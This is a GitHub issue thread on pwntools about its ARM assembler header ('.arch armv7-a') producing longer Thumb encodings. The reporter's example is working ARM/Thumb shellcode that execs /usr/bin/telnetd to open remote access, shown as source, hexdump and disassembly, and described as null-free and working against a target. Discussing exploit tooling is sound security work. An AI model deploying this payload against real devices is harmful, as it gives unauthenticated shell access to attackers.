Gallopsled / pwntools

CTF framework and exploit development library
http://pwntools.com
Other
11.67k stars 1.67k forks source link

asm.py with arm results in different machine code because of .arch armv7-a #1431

Open martinclauss opened 4 years ago

martinclauss commented 4 years ago

Hello!

I have the following shellcode:

_start:
    .arm
    adr r1, THUMB+1
    bx r1
THUMB:
        .thumb
        adr r0, TELNET
        eor r1, r1, r1
        eor r2, r2, r2
        strb r2, [r0, #17]
        mov r7, #11
        svc #1
.balign 4
TELNET:
.ascii "/usr/bin/telnetdZ"

In pwntools I assamble it with:

    shellcode = asm("""
        .arm
        adr r1, THUMB+1
        bx r1
    THUMB:
        .thumb
        adr r0, TELNET
        eor r1, r1, r1
        eor r2, r2, r2
        strb r2, [r0, #17]
        mov r7, #11
        svc #1
    .balign 4
    TELNET:
    .ascii "/usr/bin/telnetdZ"
    """

previously setting:

context.arch = "arm"
context.os = "linux"
context.bits = 32

asm.py now generates the following file under /tmp:

.section .shellcode,"awx"
.global _start
.global __start
_start:
__start:
.syntax unified
.arch armv7-a
.arm
     .arm
     adr r1, THUMB+1
 bx r1
    THUMB:
     .thumb
     adr r0, TELNET
 eor r1, r1, r1
 eor r2, r2, r2
 strb r2, [r0, #17]
 mov r7, #11
 svc #1
    .balign 4
    TELNET:
    .ascii "/usr/bin/telnetdZ"

In https://github.com/Gallopsled/pwntools/blob/dev/pwnlib/asm.py#L303 the construction of the assembly snippet is done. The line .arch armv7-a also will be added:

def _arch_header():
    prefix  = ['.section .shellcode,"awx"',
                '.global _start',
                '.global __start',
                '_start:',
                '__start:']
    headers = {
        'i386'  :  ['.intel_syntax noprefix'],
        'amd64' :  ['.intel_syntax noprefix'],
        'arm'   : ['.syntax unified',
                   '.arch armv7-a',                      # HERE 👋
                   '.arm'],
        'thumb' : ['.syntax unified',
                   '.arch armv7-a',                      # HERE 👋
                   '.thumb'],
        'mips'  : ['.set mips2',
                   '.set noreorder',
                   ],
    }

    return '\n'.join(prefix + headers.get(context.arch, [])) + '\n'

When I now hexdump() the compiled shellcode or display it with xxd it will look like this:

00000030: 0900 0800 0110 8fe2 11ff 2fe1 04a0 81ea  ........../.....
00000040: 0101 82ea 0202 4274 4ff0 0b07 01df 00bf  ......BtO.......
00000050: 2f75 7372 2f62 696e 2f74 656c 6e65 7464  /usr/bin/telnetd
00000060: 5a00 00bf 411c 0000 0061 6561 6269 0001  Z...A....aeabi..

The actual machine code starts at 0110 8fe2 ...

This shellcode will not work when thrown against a Raspberry PI (for example). What's interesting... if I remove the line .arch armv7-a it will compile to a slightly different machine code:

00000030: 0a00 0900 0110 8fe2 11ff 2fe1 04a0 81ea  ........../.....
00000040: 0101 82ea 0202 4274 4ff0 0b07 01df c046  ......BtO......F
00000050: 2f75 7372 2f62 696e 2f74 656c 6e65 7464  /usr/bin/telnetd
00000060: 5a00 c046 4115 0000 0061 6561 6269 0001  Z..FA....aeabi..

This machine code is now working correctly against my target (and it's also NULL-byte free).

Long story short, is it absolutely necessary to keep the .arch armv7-a line? Or could this be made optional?

Thanks a lot for pwntools it's an awesome tool! :)

zachriggle commented 4 years ago

Thanks for the bug report! Can you show the specific instructions that are assembled differently, in order to assist us? Also, what specific arm sub-architecture would you specify?

martinclauss commented 4 years ago

Hello!

Sorry for the delay!

It seems that the THUMB mode bytes are different:

That's what I want:

00000000 <_start>:
   0:   e28f1001    add r1, pc, #1
   4:   e12fff11    bx  r1

00000008 <THUMB>:
   8:   a002        add r0, pc, #8  ; (adr r0, 14 <TELNET>)
   a:   4049        eors    r1, r1
   c:   4052        eors    r2, r2
   e:   7442        strb    r2, [r0, #17]
  10:   270b        movs    r7, #11
  12:   df01        svc 1

00000014 <TELNET>:
  14:   7273752f    .word   0x7273752f
  18:   6e69622f    .word   0x6e69622f
  1c:   6c65742f    .word   0x6c65742f
  20:   6474656e    .word   0x6474656e
  24:   5a              .byte   0x5a
  25:   00              .byte   0x00
  26:   46c0        nop         ; (mov r8, r8)

and that's what I get (with .arch armv7-a set):

00000000 <__start>:
   0:   e28f1001    add r1, pc, #1
   4:   e12fff11    bx  r1

00000008 <THUMB>:
   8:   a004        add r0, pc, #16 ; (adr r0, 1c <TELNET>)
   a:   ea81 0101   eor.w   r1, r1, r1
   e:   ea82 0202   eor.w   r2, r2, r2
  12:   7442        strb    r2, [r0, #17]
  14:   f04f 070b   mov.w   r7, #11
  18:   df01        svc 1
  1a:   bf00        nop

0000001c <TELNET>:
  1c:   7273752f    .word   0x7273752f
  20:   6e69622f    .word   0x6e69622f
  24:   6c65742f    .word   0x6c65742f
  28:   6474656e    .word   0x6474656e
  2c:   5a              .byte   0x5a
  2d:   00              .byte   0x00
  2e:   bf00        nop

Interestingly the "default" (i.e. not using a .arch directive) results in the bytes I want. The question is whether this would be a good default for most of the pwnlib users...?

Maybe it would be a good idea to add the sub-architecture as a configurable field to the context? The default could be empty and if someone wants something more specific they can set it explicitly.

What do you think?

Arusekk commented 3 years ago

This report looks valid, I don't know why the long eor.w / mov.w instructions are introduced by the assembler, if it is the same, I think that the shorter eors / movs should be used. This is mostly a question for arm binutils maintainers, but choosing a sub-arch is an open issue here.